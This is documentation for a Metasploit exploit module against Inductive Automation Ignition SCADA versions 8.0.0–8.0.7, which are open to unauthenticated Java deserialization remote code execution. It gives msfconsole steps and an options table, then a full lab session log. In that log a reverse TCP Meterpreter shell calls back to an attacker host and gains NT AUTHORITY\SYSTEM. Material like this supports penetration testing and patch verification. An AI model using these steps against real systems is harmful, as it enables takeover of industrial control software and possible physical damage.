## Vulnerable Application
This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
versions 8.0.0 to (and including) 8.0.7.
This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
The default configuration is exploitable by an unauthenticated attacker, which can achieve remote code execution as
SYSTEM on a Windows installation and root on Linux.
The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
Radek Domanski).

Vulnerable versions can be downloaded from here: https://inductiveautomation.com/downloads/archive/8.0.7
We have confirmed versions 8.0.0 to 8.0.7 are vulnerable. Once installed, the application must be configured through the
web interface on port 8088 before it is vulnerable.

## Verification Steps

1. Install application
2. Start msfconsole
3. Do: `use exploit/multi/scada/inductive_ignition_rce`
4. Do: `set rhost <TARGET_IP>`
5. Do: `set lhost <YOUR_IP>`
6. Do: `run`
7. You will get a SYSTEM or root shell

## Options

```
Module options (exploit/multi/scada/inductive_ignition_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    8088             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Windows
   2   Linux
```

## Scenarios
```
msf exploit(multi/scada/inductive_ignition_rce) > set rhost 10.10.10.204
rhost => 10.10.10.204
msf exploit(multi/scada/inductive_ignition_rce) > set lhost 10.10.10.1
lhost => 10.10.10.1
msf exploit(multi/scada/inductive_ignition_rce) > check

[*] 10.10.10.204:8088 - Detected version 8.0.7
[*] 10.10.10.204:8088 - The target appears to be vulnerable.
msf exploit(multi/scada/inductive_ignition_rce) > run

[*] Started reverse TCP handler on 10.10.10.1:4444
[*] 10.10.10.204:8088 - Attacking Windows target
[*] 10.10.10.204:8088 - Detected version 8.0.7
[*] 10.10.10.204:8088 - Sending payload...
[+] 10.10.10.204:8088 - Success, shell incoming!
[*] Sending stage (180291 bytes) to 10.10.10.204
[*] Meterpreter session 1 opened (10.10.10.1:4444 -> 10.10.10.204:49186) at 2020-06-12 11:16:54 +0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 784 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\Inductive Automation\Ignition>whoami
whoami
nt authority\system

C:\Program Files\Inductive Automation\Ignition>
```

